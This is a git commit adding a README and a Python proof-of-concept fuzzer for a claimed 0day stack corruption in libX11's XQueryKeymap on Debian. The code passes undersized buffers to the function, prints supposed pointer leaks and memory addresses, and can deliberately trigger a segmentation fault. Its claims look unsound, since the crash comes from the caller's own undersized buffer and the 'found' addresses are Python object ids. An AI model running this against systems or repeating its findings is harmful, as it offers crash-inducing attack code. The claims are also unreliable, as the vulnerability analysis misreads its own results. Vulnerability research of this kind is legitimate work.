Browse Source

moved from https://github.com/epsylon/x11-stack-corruption

psy 1 year ago
parent
commit
312164114e
2 changed files with 131 additions and 2 deletions
  1. 37 2
      README.md
  2. 94 0
      x11-stack-corruption.py

+ 37 - 2
README.md

@@ -1,3 +1,38 @@
-# x11-stack-corruption
+=================================================================== 
 
-X11/libX11.so.6 (XQueryKeymap) Stack corruption/Access violation [PoC+ Fuzzer].
+ X11/libX11.so.6 (XQueryKeymap) Stack corruption/Access violation [PoC+ Fuzzer]
+
+    - 0day: 03/06/2017
+    - Vulnerable (tested) library: libx11-6 / Version: 2:1.6.4-3
+    - Debian package: libx11-6_1.6.4-3_amd64.deb (8ad41adbd147ffe4bf64c50efcac497b) 
+    - Tested at: Intel/x86_64 - Debian 4.9.25-1 (stretch)
+
+----------
+
+The XQueryKeymap() function returns a bit vector for the logical state of the keyboard, where each bit set to 1 indicates that the corresponding key is currently pressed down. The vector is represented as 32 bytes. Byte N (from 0) contains the bits for keys 8N to 8N + 7 with the least-significant bit in the byte representing key 8N. 
+
+    XQueryKeymap(display, keys_return)
+       Display *display;
+       char keys_return[32];
+
+--------
+
+#### Vulnerable code (example):
+
+ ventiska% vim x11-segfault.py
+
+    #!/usr/bin/python
+    import ctypes as ct
+    from ctypes.util import find_library
+    x11 = ct.cdll.LoadLibrary(find_library("X11"))
+    display = x11.XOpenDisplay(None)
+    print "CT.C:", ct.c_char * 16
+    keyboard = (ct.c_char * 16)()
+    print "Display:", display
+    x11.XQueryKeymap(display, keyboard)
+    
+ ventiska% python x11-segfault.py
+
+    CT.C: <class '__main__.c_char_Array_16'>
+    Display: 131127216
+    zsh: segmentation fault (core dumped)  python x11-segfault.py

+ 94 - 0
x11-stack-corruption.py

@@ -0,0 +1,94 @@
+#!/usr/bin/python
+#
+# X11 (XQueryKeymap) Stack corruption (Possible Access violation) (Fuzzer)
+#
+# Vulnerable (tested) library: libx11-6 / Version: 2:1.6.4-3                   
+# Debian package: libx11-6_1.6.4-3_amd64.deb (8ad41adbd147ffe4bf64c50efcac497b) 
+# Tested at: Intel/x86_64 - Debian 4.9.25-1 (stretch)                          
+#
+# 0day: 03/06/2017 - by psy (epsylon@riseup.net) 
+#
+import sys
+from ctypes import cast
+import ctypes as ct
+from ctypes.util import find_library
+x11 = ct.cdll.LoadLibrary(find_library("X11"))
+print ""
+print "#################################################################################"
+print "# X11/libX11.so.6 (XQueryKeymap) Stack corruption/Access violation <-> Fuzzer   #"
+print "#------------------------------------------------------------------------------##"
+print "# Vulnerable (tested) library: libx11-6 / Version: 2:1.6.4-3                    #"
+print "# Debian package: libx11-6_1.6.4-3_amd64.deb (8ad41adbd147ffe4bf64c50efcac497b) #"
+print "# Tested at: Intel/x86_64 - Debian 4.9.25-1 (stretch)                           #"
+print "#------------------------------------------------------------------------------##"
+print "# 0day: 03/06/2017 - by psy (epsylon@riseup.net)                                #"
+print "#################################################################################"
+print "\n-X11:", x11
+display = x11.XOpenDisplay(None)
+print "-Display:", display
+num = raw_input("\n[?] Enter fuzzing factor (ex: 256): ")
+if num == "":
+    num = 256
+try: 
+    num = int(num)
+except:
+    print "\n[Error] Not a valid fuzzing factor. Aborting...\n"
+    sys.exit(2)
+dumped_map = []
+address_list = []
+print "\n[+] Fuzzing until: " + str(num) + "\n"
+for i in range(num+1):
+    keyboard = (ct.c_char * i)()
+    keyboard.value = "A" * i
+    keyboard_ptr = cast(keyboard, ct.c_char_p)
+    if keyboard.value is not keyboard_ptr.value:
+        print "Num chars:", str(i), "\n"
+        print " - Buffer:", keyboard.raw
+        print " - PTR cast:", keyboard_ptr.value
+        print " - Keyboard Map:", keyboard_ptr.value.split(keyboard.value)
+        print " - PTR LEAK:", keyboard_ptr.value.split(keyboard.value)[1]
+        ptr_leak = keyboard_ptr.value.split(keyboard.value)[1]
+        import struct
+        try:
+            le = (struct.unpack('<I', struct.pack('=I', 1))[0] == 1)
+            if le == True:
+                h = struct.unpack("<I", ptr_leak) # little endian
+                print "\n [!] struct.unpack PTR [little endian] is:", h
+            else:
+                h = struct.unpack(">I", ptr_leak) # big endian
+                print "\n [!] struct.unpack PTR [big endian] is:", h
+            a = hex(id(h))
+            print " [!] Memory address FOUND! -----> ", a, "\n"
+            if a not in address_list:
+                address_list.append(a)
+        except:
+            pass
+        dumped_map.append(str(i)+"="+str(keyboard_ptr.value.split(keyboard.value)[1]))
+        print "----"
+skip = raw_input("\n[?] Wanna skip map resume? (Y/n): ")
+if not skip:
+    skip = "y"
+if skip is not "y":
+    print "\n[+] Dumping map:\n\n", dumped_map
+    try:
+        f = open('dumped_map.out', 'w')
+        for d in dumped_map:
+            f.write(str(dumped_map))
+        f.close()
+        print "\n[!] Saved at file: dumped_map.out"
+    except:
+        pass
+print "\n-XQueryKeyMap:", x11.XQueryKeymap
+if address_list:
+    print "\n[!] Memory addresses found:\n"
+    for a in address_list:
+        print " -", a
+sf = raw_input("\n[?] Wanna try to generate a segmentation fault (core dumped) -> THIS WILL STOP THIS TOOL? (N/y): ")
+if not sf:
+    sf = "n"
+if sf is not "n":
+    print "\n[!] Calling to function: x11.XQueryKeymap\n"
+    keyboard = (ct.c_char * num)()
+    x11.XQueryKeymap(display, keyboard)
+else:
+    print "\nBye!\n"